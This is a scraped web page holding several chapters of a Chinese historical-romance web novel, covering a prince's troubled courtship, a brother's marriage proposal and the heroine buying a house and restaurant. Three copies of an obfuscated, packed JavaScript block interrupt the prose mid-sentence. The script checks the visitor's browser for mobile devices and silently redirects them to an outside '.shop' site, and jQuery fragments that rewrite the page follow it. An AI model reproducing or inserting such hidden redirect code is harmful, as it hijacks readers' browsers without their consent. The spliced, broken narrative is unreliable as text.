鱼汤炖得如牛乳一般浓稠鲜美,盛在瓮中却被小梅拦住了。 “你就莫要再坏人家好事了。” 梅映禾不明所以,小梅拿着单子给她看,“五娘子点了鸽子汤、炒仔鸡和清蒸大虾,人刚走,拿着菜去了沈府。” “去看沈聪吗,那刚好,我现在去还能碰上。” 小梅:…… 到底是谁不开窍。 梅映禾被拦下了,小梅将理由说给她听,她才后知后觉地“哦”了好长一声,“果真如此,倒是好事。” 可不是好事吗,这叫缘分。 小娘子的脸上肉眼可见地高兴了,笑眯眯的模样扫了一眼店内繁荣的景象,心里也跟着磕起来,“别说,他俩还真挺配的。” 目光不经意落在那人身上,一双炙热深邃的黑眸正怯怯地看着她。 “哼。”小娘子一甩头进了灶房,留给他一个大大的白眼。 46. 宁馨郡主 因得梁诗云的事,赵行之被叫到了御书房,听了陛下一个时辰的教诲,直说得赵怀风口干舌燥,咳嗽不止方才掐住话头。 赵行之看着面红饮茶的皇兄,恭肃道:“皇兄的教诲,臣弟知晓了,这次是我思虑不周,断不会再有下回了。” 赵怀风简直被他气笑了,“思虑不周,你的错只是在思虑不周吗?” 赵行之愕然:…… 不就是临时拉了梁诗云当垫背的不合适吗,还有什么。 看着他一脸错愕十分迷茫的样子,赵怀风又是一阵急促的咳嗽,方才那一个多时辰的话是白说了。 就连身边的老太监都看不下去了,笑着打圆场,“晋王殿下,陛下这是担心您的终身,殿下身负功名,合该早些娶妻生子开枝散叶才是。” 这话倒是不假,老赵家的子嗣的确不怎么繁茂,皇帝赵怀风在有了大皇子之后的这些年才又陆续生下一位皇子两位公主,可三皇子年幼且身子骨极弱,宫里头的人都不敢说但大家心知肚明,怕是难能养大。 晋王这边更是连个女眷都没有,更别提子嗣了。 赵行之垂眸,“臣弟还没准备好。” “你要做什么准备,娶妻生子天经地义,你有什么可准备的。”赵怀风捧着茶盏问他。 至于准备什么,赵行之也没想过,就觉得自己没准备好。 如此,又被骂了半个时辰,这才放他出来。 脚步匆匆,踩在下了三日的积雪上发出咯吱咯吱的脆响,一声接一声,急促且匆忙,仿佛不如此便不能疏解方才一个多时辰的烦闷和苦恼似的。 过了崇德门便出了正殿的范围,赵行之这才放缓了步伐,望着仍旧阴郁的天色长出了一口气,这是个老难题,他无解,所以每次只能如此煎熬。 思绪凌乱无序,面上自然也没了好颜色,路过的宫女太监们都小心翼翼,行礼后避让绕行,正待举步之时忽闻身后一道轻柔细润的嗓音: “晋王殿下。” 赵行之回头,眼前的女子细眉细眼,白面红唇,削肩长颈弱柳扶风,声音轻且细,似溪水缓缓流淌,给人温柔和煦的感觉。 是一副温柔娴静、与世无争的样貌。 赵行之不语,只静静地等待对方走近,郑重向他行礼,“臣女李绾见过殿下。” 脑中盘旋,这才想起,这竟然是赫赫有名的宝肃亲王之女宁馨郡主,也就是皇后的表妹,想来应当是在万寿宴上见过的。 赵行之为自己的疏忽略感歉意,回礼道:“郡主有礼。” 尴尬写在脸上,但李绾似乎毫不在意,主动打破僵局,“那日在万寿宴上远远瞧见过殿下,果真如传闻所言,听说殿下如今刚刚演练回来得了陛下嘉奖。” 赵行之心中松了一下,点头应道:“寻常演习而已,郡主过奖了。” 像这样等着与自己偶遇,又特意说成是巧合的女郎,赵行之见怪不怪了,方才只瞥了一眼她脚下阴湿的修鞋便知她等他一会儿了。 所谓何事,无非就是那些事,赵行之不厌其烦,面上的不耐越发难掩。 “殿下。”李绾的嗓音本就温柔轻细,倏然撒起娇来格外撩人,“臣女奉命在此等候殿下已久,咱们能不能换个地方说话,实在太冷了。” 她突然说了真话,面上的表情也是不加掩饰地可怜巴巴,虽披着氅衣整个人仍冻得瑟缩着,倒是多了几分真实。 这样的生动倒是让赵行之想起了某个人。 晋王殿下鲜见地松了眉头,“郡主若是不嫌弃,便用我的马车送你一程吧。” 李绾行礼道谢毫不犹豫地登上了车子,看着娇娇弱弱的人却不需人服侍,反而显得坦荡磊落。 车内小炉上温着茶水,赵行之为李绾斟茶,李绾道谢:“多谢殿下解救,不然今日我也是没法交代了。” 她倒是直白,将家中长辈和陛下命她等待赵行之的吩咐和盘托出,末了叹气道:“想来我的苦闷也只有殿下了解了,实在烦不胜烦。” 这话倒是说到了赵行之的心里,对眼前这位宁馨郡主的印象好了几分。 他一向话少,只斟茶听她诉说,时不时给个回应即可,李绾倒是也没有拉着他问东问西,省心省力倒也不觉得厌烦。 “殿下和五娘子的事我也有听说。”李绾的话题落到了今日之事上,赵行之沉默。 “想来我与五娘子也有过几面之缘,过两日我去看望她,殿下可有什么话要带?” 李绾含笑看着他,等待着他的答复。 继暴躁撵走梁诗云之后,又同梅映禾吵了一架,赵行之如今清醒了许多,不论如何,自己拿着梁诗云做挡箭牌都非君子行为,实在说不过去,况且他虽未对梁诗云有过超过熟人的行为和举止,却也从未明确跟她说清楚,自己与她并无半点男女情谊,让她误会了这么久,实属不该。 所以,梅映禾那句“渣男”大概也没算冤枉他。 “那便劳烦郡主了,代我向梁五娘子道歉。”声音涩涩落下,带着些许尴尬和别扭。 李绾愣了一下,问:“道歉这种事殿下不亲自去吗?” 赵行之随之一怔,怎么说呢,李绾所言不错,既然是道歉那必然得亲自去才有诚意,可是他实在不愿面对梁诗云说出那些道歉的话,一来这些话于事无补,二来他也实在无颜再见她,又恐惹她伤心遭人非议。 所以还是不要错上加错了吧。 “我会备上厚礼,烦请郡主替我走一趟,我实在不便……” “殿下言重了。”李绾笑起来,本只想逗逗他,没想到他竟如此窘迫,“殿下心中所想我都明白,所托之事必定办到。” 小娘子温柔善良,眉眼间含着淡淡的笑,看得人如沐春风,赵行之松了一口气。 车轮辘辘压在积雪的地上,这个时辰眼看到了午食,街上因为下雪并不热闹,只食铺酒肆里熙熙攘攘沸沸扬扬的。 “还是京城里热闹啊。”李绾撩起车帘感慨,“这样的大雪天气生意都这般好,我来京城有些日子了却不曾了解,殿下可有推荐的酒楼食铺?” 这算是问对人了,赵行之看了一眼窗外,车子朝着好吃食铺的方向走的,既然请了人家帮忙,那请一顿感谢的午宴想来也是理所应当,正如方才皇兄所言,要有来有往才能不拂了人家的面子,予人脸面也是与己方便。 “确是有一家很有名的食铺,很小的店铺却很有特色。”赵行之说起好吃食铺,面上泛起热。 “食铺?”李绾似乎有些诧异,竟然不是酒楼,“殿下推荐的想必错不了。” 二人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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赵行之知道李绾是南方人,来了京城也有些时日了,想来应当很是怀念家乡的味道,于是特意点了几道她家乡的菜肴。 京城偏北,这北方人做南方菜,就如同南方人做北方菜一样,总夹杂着当地的口味特色,不那么纯正地道。 然这里的菜味却好吃得让李绾很是感动。 八宝鸭、大煮干丝、糖醋小排、松鼠鳜鱼、外婆菜,都是她爱吃的,每一道都十分地道,李绾的筷箸就没停过。 吃着吃着想起家乡,想起曾经的事和人,眼里竟然酸涩起来。 也不知这趟京城之行何时才能结束,她的命运从来由不得她自己,就跟这位晋王殿下一样,现在自己的命运竟然要落在他的身上,只求他无意于她,早些让她返回家乡。 思绪飘然,李绾沉浸在自己的情绪里,竟然没有发现对面的晋王殿下脸色已然不好了。 食铺里的客人坐得很满,文明修来的时候只剩下赵行之和李绾隔壁的座位空出来,食客正在结账,阿十便将人领到座位处奉茶。 文明修没有想到晋王殿下和宁馨郡主竟然也在这里吃饭,彼此打了招呼,对着赵行之的冷脸,文明修也不再多言。 本以为文明修是请了朋友过来,赵行之虽反感他日日都来,点卯一样却也并没在意,直到梅映禾忙完坐到了旁边的位子上,二人有说有笑地点菜、倒酒,而后竟然为了说话方便坐到了一张条凳上,赵行之的脸色便越来越难看了。 47. 提亲 今日是梅映禾约文明修过来的,马上过年了,今年的雨雪颇多,菜肉都涨了价格,前些日子同行们相聚在此,大家都在纷纷抱怨成本越来越高,想来今年的宴席却是吃力不讨好,赚不了多少利润的。 于这些酒楼食铺而言,纵然平日生意兴隆的,也盼着每年年节的大丰收。 可是今年,大家都不甚乐观。 对此梅映禾也颇有感受。 虽然给她供货的是梅花村,可是前几日老村长过来也提及了,肥料、饲料都涨价了,虽然梅花村的菜肉涨得极少,可毕竟还是比之前的价格高了。 “你瞧,你刚介绍来的生意,咱们就不得不涨价,虽说我都同东家们解释了,可毕竟心里过不去。” 这是老村长的原话,总有一种瓮中捉鳖的感觉,心里愧对梅映禾。 “不会,您别多想。即便如此,咱们的菜肉比旁的还是便宜了许多,他们都知晓的。”梅映禾劝他,可是这样的情况很让人不安心。 这事她思来想去许多日了,今日也是想私下里问问文明修,是否有好的法子让同行们都过个好年。 “官府的税收是不可减免的。”文明修上来就把她未尽之言否定了,“一来这需要层层考察审核,甚是麻烦,就算批下来恐怕也早就过了年了。二来这不是根本,比这困难的多着呢,这种情况……” 文明修摇头,梅映禾立马明白了。 那既然官府很忙,咱们就不给贵人们添麻烦了,梅映禾想起了自己的打算,“能否有名正言顺的理由涨价,不至于让百姓觉得突兀。” 若是大家都说好一起涨价倒还好,就怕有的酒楼迫于无奈涨价,有的人却为了拉食客,愣是愿意硬挺,这样不统一难免生出矛盾,市场乱了生意更难做。 梅映禾懂得一荣俱荣一损俱损的道理。 二人的对话被阿十打断,梅映禾开始点菜。 从她二人坐下到点菜,赵行之始终留意听着,甚至都没有发觉对面的宁馨郡主已经吃饱了。 看着晋王爷一副心不在焉的样子,李绾确定了心里的想法,面上只作不知,待阿十给隔壁桌点完菜,唤道:“小哥,可有甜羹。” 阿十说有,“不知小娘子想喝哪一种。” 好大的口气,李绾便明白这家小小的食铺实则藏着大神,看来只要你能点的人家都能做。 她只不过依照在家中的习惯,想喝一点甜口的蛋羹,阿十欣然应下,转身便要去灶房,却又被赵行之叫住。 方才梅映禾点菜,竟然点的全都是文明修爱吃的菜,他只听他们二人,你一句我一句,文明修就知道说:“好,极好,甚好,都是依照我的口味点的……” 她何时变得如此体贴周到,赵行之回忆,怎么从来都不见她如此对他。这个气竟然生这么久,本就是她冤枉了别人,只知其一不知其二的丫头,竟然还跟他置气。 “七郎……”阿十仍旧按照之前的习惯称呼他,刚开口就被梅映禾打断。 “阿十,以后改口称呼晋王殿下。” 她也不看他,一脸冷漠。 阿十:…… “好。” “好什么好。”赵行之看着少年,“本王身份不同,如此称呼多有不便,就叫七郎。” “敢问殿下,您是哪家七郎?”梅映禾嗤笑问他,目光仍旧不落在他这边。 “自然是……”赵行之却不好说了,想了想,梗着脖子道,“梅九畴家的七郎。” “我怎么不知我家还有一个七郎。”梅映禾句句不让。 “问你哥哥去。”他回怼了她。 梅映禾愤愤望向这边,眉眼中带着三分怒气三分委屈,外加三分克制,使得一张气鼓鼓的小脸看上去多了几分可爱。 赵行之的气势瞬间落了下来,再不忍跟他置气,只吩咐阿十,“你听她的吧。” 这场莫名其妙的争吵就这样毫无征兆地起了火,又猝不及防地熄了火。 直看得一旁的文明修和宁馨郡主面面相觑,不知如何是好。 好在赵行之主动避让,看着宁馨郡主已经吃饱了,便匆匆离去,梅映禾这才冷静下来。 文明修给她夹菜,笑道:“倒是极少见你如此……” 他竟然不知该如何形容方才的梅映禾,平日见到的都是食铺东家梅映禾,利落大方周全干练,却从未曾见过她小女子的一面,原来小早耍起小性儿来也是这般蛮不讲理却又十分可爱。 “如此什么。”梅映禾抬头问他,“如此刁蛮泼辣?” 文明修赶忙摇头否认,“自然不是这个意思,咱们吃饭,继续咱们的话题。” 引火烧身的事可是做不得的,既然是晋王殿下引的火,自然该有他自己去灭。 原本被皇兄训斥得有些郁闷的心情,在跟梅映禾呛茬之后更加低落了。 自回府后至晚食,赵行之都将自己关在书房里生闷气,惹得佑安也不敢擅自离去,硬生生在门外看了一下午的雪景。 因快过年了,这几日军营放假,赵行之得了闲,也有些日子没见到梅九畴了。 但是今日梅映禾的那句话倒是让他耿耿于怀,她竟然连七哥都不想认了,至于吗,还问他是哪家的七郎,这不是她先喊出来的吗,现在竟然要同他一别两宽到这种程度,这些日子在一起的情谊说丢就可以丢了吗。 越想越觉得委屈,晚食送来的时候也没了胃口。 佑安进来收晚食,看了一眼未曾动过的饭菜,摇了摇头,将一沓名帖和请柬递上。 王府的门房每日都能收到一堆这样的东西,不是有人想来拜访就是邀请王爷赴宴,赵行之往常都不看,交给管家处理。 佑安也觉得就是走个形式,手里的一堆东西都没放下,转身便想同饭菜一起拿走,却听赵行之问:“可有什么特殊的事?” 佑安想了想,都是寻常官员的拜会,“并无特殊,只不过九郎送来请柬,说是要去提亲,想请王爷陪同。” 梅九畴同他不是普通的上下级的关系,自然亲厚,二人以兄弟相称,好兄弟要去提亲自然想多带些帮手撑场面,这是没把他当外人。 赵行之从佑安怀里翻出那张请柬,抚去上头的灰尘,小心地放在桌上,佑安这才抱着东西颤颤巍巍地出去。 她不是问他是哪家的七郎吗,哼,他哥哥都给他下请柬了,提亲这么重要的事都请他参加,可见就是一家人。 心情倏然开朗,也有了胃口,又唤回佑安要吃晚食。 佑安:…… 王爷一日比一日难伺候了。 *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14479965|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 自从上次和文明修商议后,梅映禾又生出许多新的想法,可是那些事眼下做怕是来不及了,只能等过了年之后慢慢筹划。 但有一桩是迫在眉睫的,眼前各家都在忙着年夜饭的菜单拟定,正是提升品质的好时候。 梅映禾特意请了几家相熟的酒楼、餐馆的东家相聚,将自己的想法同大家说了。 “就是想提升菜品的品质,提价也是理所应当的。” 能在酒楼订年夜饭的必定都是富庶之家,应当更看重品质,只要品质好,价格高一些想来也是能接受的。 大家齐心协力,年夜饭的势头也搞得有声有色,几家都早早定了菜单,将风声放了出去,引来许多食客的关注,各家之间还彼此留了空间,尽量错开竞争互补。 过了腊八就是年,腊月十六这日,许且带着梅九畴梅映禾兄妹两个,抬着几大箱子礼品浩浩荡荡地回梅花村提亲来了。 这样声势浩大又有高官出面的提亲,在梅花村实在罕见,也给小梅长了脸,不止许且,晋王殿下也来助阵了,是作为梅九畴的好友身份,还另外送了厚礼,让奎叔和李婶儿都不知该怎么接待了。 “婶子,你就当我是九郎的亲兄弟,梅家人就成。”赵行之今日格外健谈,帮忙张罗、抬礼品,招呼人,忙里忙外的。 梅映禾:…… 幼稚。 嫌弃,白眼。 提亲的礼节赵行之曾经听礼部的人说起过,但那是皇家的亲事,同民间自是不同,如今看来这一套一套的礼法习俗倒是颇有趣味,竟然还有唱大戏的,还真是热闹。 不禁想起了自己的婚事,若是他提亲,是否也能按照这样接地气的礼法来办呢,到时候跟皇兄请求应当会被允准吧,皇家的礼程实在烦琐累人,想来她应当也会觉得难受…… 不自觉的思路就偏离了方向,眼神也不由自主地飘向想看的人。 她被人围在中央,正在说着什么,那样神采奕奕、笑容满面的。 小早总是有这样的能力,走到哪里都是万众瞩目的中心,赵行之看得入迷,脸上露出不自知的笑容。 倏然,小娘子看过来,冷冷的一双杏眸定在他的脸上,仍旧怒气冲冲。 赵行之一愣,冲他眨了眨眼,不想却换来小娘子又一次不留情面的白眼。 哎,人不大气性不小,赵行之无奈别过脸去。 提亲很顺利,双方定了亲事便是一顿丰盛的宴席,自然由梅映禾做主厨,为了哥哥的提亲宴,她特意准备了好几日,这次没有随意发挥,按照老祖宗的规矩力求将吉祥如意四个字彰显到极致。 首先猪是必不可少的,象征丰盛和诚恳的敬意,梅映禾做了东坡肉。其次是鱼,寓意年年有余和有头有尾,代表吉祥和好,梅映禾做了双椒鱼头。还要有兔肉,体现祥和美好,梅映禾做了红烧兔肉,接着还有羊颈喉、牛肉等,除此之外梅映禾还特意带来了自己酿的酒,和象征圆满多福的四京果:龙眼干、荔枝干、合桃干合蚕豆干,还有四色糖,四种水果等,丰富圆满。 院子里热热闹闹,灶房里,小娘子忙得有条不紊。 等她忙完一阵坐下来调整火候的时候,赵行之这才进来替过她的手,将蜜水递到她手里,“这样的粗活我来,你且歇歇。” 48. 买房 “不敢劳烦殿下。” 小娘子阴阳怪气的话还未说完,手里的烧火棍就被赵行之夺了去,“再喊殿下,我就去找你义父告状。” 堂堂晋王殿下竟然要找人家家长告状。 梅映禾冷笑,“求之不得,就跟义父说你始乱终弃,做人做事没道德约束,我要同你划清界限,不与渣男为伍,让义父惩罚我吧。” 她言之凿凿信誓旦旦,字字句句都在讽刺他,听得赵行之太阳穴嚯嚯直跳,“谁始乱终弃,我同她什么都没有,你什么都不了解,妄下断语。” “我哪里……” 外头进来人拿菜,二人的争执被打断,赵行之理所应当坐下烧火,梅映禾则顺手去忙着做别的。 “你应当知我是什么人,认识这么久,怎么能听旁人一面之词就如此对我。”赵行之垂着眼眸直直盯着炉膛,“你就不曾信任我半分吗。” 梅映禾不理,扮可怜歪曲事实,那万寿宴上他随心所欲拉着梁诗云做垫背,可是她亲眼所见。 “小早,你合该听我把事情说清楚。” “殿下。”梅映禾转过身看着他,“你应该解释的人不是我。” 今日是提亲宴,她很忙,人来人往的,赵行之没再提这件事情,只是之前预想的在她面前好好表现一番,趁着她高兴的时候把事情说清楚,全泡汤了。 “云策太心急了。”许且同情又无奈地拍了拍他的肩膀,“鲜少见你如此方寸大乱,还是再等等吧。” 他的心思如司马昭之心,大约大家是都看出来了吧,至少李绾就看明白了。 那日从好吃食铺出来,赵行之让车夫送李绾和婢女回府,途中二人无言,下了车婢女小河便上前道:“晋王殿下似乎同那位女店主很不寻常。” 李绾看了她一眼,小河是皇后娘娘予她的婢女,这几年跟在她身边,说是教导她宫中的礼仪规矩。 看李绾不语,小河继续督促,“这样大的消息娘子合该禀报皇后娘娘才是,娘娘有了应对,娘子同晋王殿下的亲事也能尽快促成。” 自多年前,这位皇后娘娘表姐便有意让李绾嫁给赵行之,她说,“晋王的才干不输陛下,身边该有个知心的人,这样大家也能更亲近。” 这话听着倒是没什么不对,可是李绾总觉得表姐想让她嫁给赵行之似乎另有玄机。 皇家的事太过复杂,她本不欲追根究底,可是她也并不想嫁给赵行之。 生长在江南水乡的小娘子,自小就轻松自在惯了,不愿被皇家的规矩束缚,也早已有了心仪之人。 那是她父亲的学生,兰芝玉树温文尔雅,本就是天生一对的璧人却在六礼之前被皇后点了名入了宫。 李绾原本想向皇后禀明一切,无奈这位表姐自打做了皇后似乎变了一个人,不等她开口先是一顿忠孝亲疏的大道理,而后话有隐喻地提醒她,若是她不答应,她的父亲和她那位竹马都将遭殃。 李绾这才意识到一切已由不得自己了。 自那一刻起,李绾就将自己的希望寄托在了赵行之身上,听闻这位殿下不近女色且厌恶人情往来,几乎无人同他相熟,想来这样一个不好相与之人应当也会嫌弃她吧,尤其以这样处心积虑地接近方式。 李绾果然没猜错,万寿宴上她就看出了赵行之的敷衍,这日也是被皇后逼迫无奈才不得不在宫门处等赵行之。 皇后觉得既然梁诗云铩羽而归,那么自然李绾可以取而代之。 李绾没有这份自信,也并不希望晋王殿下看上她,如果他能有自己心仪的小娘子就好了…… 果然让她猜着了,那日去了好吃食铺见到了梅映禾,只一眼,小娘子的预感便让李绾明白,这位恐怕才是晋王殿下不愿娶亲的原因。 看样子,好似都还未对人家表白心意呢。 啧啧啧,李绾心里默默摇头,看着英武洒脱的晋王竟然也有让他瞻前顾后、患得患失的人。 小河如此提了,李绾没说是也没说不是,她是皇后娘娘的人,已经跟了她太久了,现在这个人她也不想留了。 当日,主仆二人在回府后,李绾说想吃街口的糖炒栗子,让小河去买,人就再未回来。 她不是个伤天害理的人,只是想用这种方式保护自己和家人,至于小河,只是被遣送回老家而已,因为李绾想尽快促成晋王殿下的好事,小河留在身边太碍手碍脚了。 这些梅映禾自是不知,至于赵行之犯的错,她也觉得是替五娘子打抱不平,“与我何干。” 小娘子的话让许且和九郎都很无奈。 梅映禾很忙,没时间想那些伤春悲秋的闲事,如今哥哥已经提亲了,可是成亲的时候总不能还住在许府吧,况且许府的宅院也是陛下御赐给义父的,终究还是不如写着自己名字的宅子住得踏实、舒心。 趁着年节之前这几日,各家店铺都松散,大家都数着日子回家过年,牙行门可罗雀,价格自然好谈。 梅映禾想买宅子,还想把之前看好的那个三层带院子的酒楼也买下来。 盘算一下手里的银子,她一向节俭,这大半年除去每日买菜和店铺布置之外,几乎没花过什么钱,甚至都没给自己添置一套衣裳一件首饰。 她心里总想着哥哥要成亲,不能委屈了小梅姐,一家人能住在一个大宅子里该多好啊,若是银子够用,把义父和奎叔李婶儿都接过来,热热闹闹的是她这辈子最期盼的事。 自小爹娘走得早,家里只有她和九郎兄妹两个,冷情又可怜,现如今要靠自己的能力买房了,梅映禾心里实在痛快,上一世就期盼着能按照自己的想法装修,这辈子也要实现了。 一栋二进的宅院和一个酒楼,加起来足足五千两银,这还是讨价还价之后牙人给出的底线。 梅映禾盘算着,万寿宴上得的赏赐足有千两,加上这大半年食铺攒的,也有小一千两,还有梅花村每月给的分红和早食夜市的分成,大头还有沈记酒楼的分红,五千两应当刚刚好。 只是这样的话,手里就没有周转的余地了,莫说装修,恐怕这个节都不好过了。 看了两日的房子,梅映禾开始纠结起来,不然就先买宅子,哥哥成亲不能等,至于开酒楼嘛,虽说是她的心愿,可是都等了这么久了,不差这一会儿。 看着她整日趴在那里盘账,小梅笑着拿出交子递给她,梅映禾一看六百两,愕然。 “这是你哥哥非要放在我这里的银子,之前在码头做苦工的还有现在军营里的收入,还有王爷的赏赐,我想着先替他收着,还有我的月银和分红,跟你学的,一文没动,现在总算派上用场了。” 梅映禾推辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483277|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你们要成亲,用银子的地方多着呢。” 小梅将交子强塞给她,“宅子你都买了,我们哪里还需要花什么钱,一家人什么你的我的。” 梅映禾收下,“这下我可真买了,这些银子留着周转用,我就不害怕了。” “小早,何时你都不该害怕,你还有我们。”小梅拉着她,“买宅子的时候我随你一起去,带着阿十,咱们放鞭炮。” 宅子距离许府并不远,隔着两条街,地方还算幽静,许且要给她银子,梅映禾说什么都不要,许且便让管家去准备置办宅子里的东西,“古玩字画、窗帘家私,只要是小早看得上的都买下来,一切按她说的办。” 这下好了,又省下一大笔装修费,就连宅子后头那块小花园和小池塘,许且也专门找人来修葺完善,待到来年开春,定然是一片繁盛茂密的盛景。 至于酒楼的装修,大家都不插手了,梅映禾一早就将图画好了,干活儿的工人也都说定了,只等着年后开工,慢慢装修完就可以开业了。 酒楼和宅子是梅映禾的梦想,不在乎多大,都是属于自己的产业,她想一点一点把它们打理好,再看着它们一点一点壮大。 只还有一件事,让梅映禾有点怯场。 这样忙忙碌碌了好几日,一切都定下来了,这件事也该面对了。 酿酒的技术算是掌握了,现在梅映禾酿出来的酒虽称不上数一数二,却也有不少人喜欢,专门奔着酒而来的大多是小娘子,她很熟悉小娘子们的喜好,新开的酒楼要到官府去备案,然后申请酿酒权,一来,这个酿酒权要到来年的中秋节才能发,二来梅映禾不喜欢同官府打交道。 总觉得心里发怵。 这一日晚间,梅映禾做了几个菜,一个爆炒鸭肠,一个清炒菌子,一个葱爆羊肉,还有一个酸菜鱼和一份毛血旺,荤素搭配,鲜甜得当,盛了几碗米饭,一家子坐下来吃饭。 这几日,许府都比先前热闹,梅九畴放假,带着小梅一起再加上梅映禾,因得过年,梅映禾将阿十也接进来同住,整整齐齐的一大家子,许老大人脸上日日都是笑着的,连陛下都感慨老大人越发年轻了。 “官府的事,不若让文明修去问问。”许且提议,“实在不行老夫去也是一样,左右不过一句话的事。” 梅映禾摇头,“不要,我想自己办,往后还要开更多的酒楼,少不得跟官府打交道,总不能时时都将你们搬出来吧,这多少有点仗势欺人的意思。” 许且点头,“你如此想,老夫甚是欣慰,不过也不用太勉强自己。” 说完看了一眼一旁的梅九畴,“不然,这事让九郎去跑,你一个小娘子家家的,的确诸多不便。” 对上眼神,梅九畴倏然明白,“对,我去,自家的事我还从未伸过手,这一回就让哥哥试一试。” “可是这事并不好办。”梅映禾倒是没反对,“哥哥去试试吧,若是实在拿不来就等到中秋。” 话是如此说,可心里还是有所期盼,做生意最讲究火候,现在趁热打铁最是好时候,等到了中秋又不知会有何变故。 即便如此,这事还是交给了梅九畴。 梅映禾努力说服自己不抱希望,顺其自然,就算梅九畴去了,人家官府也不会将要在中秋节放的政策提前给你吧,脸那么大吗。 49. 孙猴子好吃 临近过年,空气中都飘散着喜庆祥和。 大雪飘了几日,总算是停了下来,到处白茫茫一片。 路虽滑,却挡不住大家出门的热情,街面上反倒比往常更热闹了。 梅映禾原本以为随着新年的临近,铺子里的生意会渐渐淡一些,毕竟嘛,过年了,大家还是要张罗着家中的事宜。 可是她想错了,越到过年,反倒生意更火爆起来。 平日甚少出门的高门贵女和各家小娘子们也在这个时候纷纷踏出门,或采买年节交际的礼物,或为自己置办衣裳首饰,亦或是出门游玩放松。 好吃食铺名声在外,自然少不得都要来尝一尝。 平日里,梅映禾这里多是官员商贾,这几日倒是满铺子花红柳绿、莺声燕语的小娘子们,一个个花容月貌的,看着都让人觉得舒心。 阿十正处在少年初长成的年纪,对着满屋子美人愣是憋在灶房里再不敢出来了,落了小梅好一通揶揄。 梅映禾亲自上阵,帮小娘子们推荐、点菜,听听她们都在聊什么,适时插上一句嘴插科打诨,博美人一笑。 铺子里的暖炉烧得旺旺的,一阵阵传出银铃般的笑声,引得路过的人都纷纷驻足张望,倒是成了冬日里一道亮丽的风景线。 “梁诗云好些日子没出来了吧,听说被那位伤得不轻。” “什么呀,早过去了,五娘子岂是那等自怨自艾之人,听说同一位颇有家资的小郎君来往甚密。” “听说好事将近了。” …… 听到了熟人的八卦,梅映禾支起耳朵。 “怎么可能这么快呢,她不是一直沾沾自喜那位殿下待她与旁人不同吗。” “那位性子太冷了,听说晾了她几个月直接拒绝了。” “现在这位呢,什么人,多大年纪,样貌如何,家世如何……” “小早,有客到。” 正听到关键时刻,梅映禾被小梅叫了过去。 觎着她心有不甘的样子,小梅道:“这些日子你只顾着忙房子和新铺子的事情,旁的什么都不知晓。” 梅映禾:…… 愣了片刻才反应过来,她说得应当是五娘子的事。 后知后觉如梅映禾,抱着小梅的胳膊问:“嫂嫂最好,快告诉我,她们说的是真的吗,五娘子真的定了终身了,那位郎君是谁,我可认识?” 自从哥哥提了亲,梅映禾早就改了口,一口一个嫂嫂叫得小梅很是受用。 “你认识。”她说,“不妨猜一猜。” 梅映禾:…… “这哪里猜得到?”她噘起嘴催促,“好嫂嫂快告诉我吧。” 小梅无奈失笑,“你认识的郎君拢共加起来两只手都数得过来。” “怎么会。”梅映禾反驳,“各家的东家、掌柜、大厨……” 说着说着便偃旗息鼓了,这些人莫说别的,就是年龄也不相符。 于是认真地掰着手指头细数,“年龄相当的小郎君,我认识的除了文明修还有常来的李侍郎,同李侍郎一起的那个文书顾郎君,还有太常寺的赵郎君,翰林院的编修吴大人……” 她数来数去,小梅都摇头,一张脸越来越无奈。 “师父,怎么我就这么入不得你的眼吗?” 身后一个声音响起,甚是不满。 沈聪一脸窘迫又委屈地看着她,梅映禾摆了摆手,“这事与你无关。” 小梅:…… 沈聪:…… 梅小早是真的还没开窍。 看着二人无奈的脸,梅映禾这才震惊又缓慢地反应过来,不可置信地看着沈聪,磕磕巴巴地问:“是你吗,真的是你?” 梅映禾倒不是那等将身份、门第看得极重的一个人,毕竟嘛,来自后世那样一个自由开明的环境,怎么可能计较这些。 可是这里是大隶朝啊,尊卑等级、门当户对刻入骨髓里,想要突破是何其不容易啊。 梁诗云出身勋贵高官之家,是典型的金枝玉叶,而沈聪虽家财万贯且家风亦是严格,可毕竟商贾和官宦之间隔着天堑,不可逾越。 不是梅映禾不够开明,而是自己也有过这样的经历。 来自秀才娘的嫌弃犹在耳边,这样的时代女子不易,并不能像后世那般我行我素自由自在,这个时代的女子娘家是倚仗,夫家是脸面,一生的幸福靠的就是这两样,嫁入商贾之家对五娘子似乎将是一次腥风血雨的考验。 “那梁家人同意了吗?”心里想什么,她便脱口而出。 沈聪垂头,“还没有,这几日将她关在家中不得出门。” 看来是反对的,可以想见。 梅映禾心里叹了一口气,感慨万千,若是生在后世,这将是多么登对又般配的璧人啊,这封建制度害死人。 “那你作何打算?” 沈聪被她问得也是一愣,认真地想了想只能摇头道,“除了等待,我还能做什么。” 傻瓜,梅映禾心里骂他,等着等着就没了。 “你若是真心喜欢她,那便不能让她自己面对这一切。你的真心要剖开来给梁家人看,现在是她最需要你的时候。” 这话说得极不像梅映禾,就连小梅都听愣了。 “笨啊,你若是真心,那便厚着脸皮冒着被打杀的风险也要上啊。等什么,你在这里坐等一日,她便在炉火上被炙烤煎熬一日,你忍心吗,你舍得吗。” 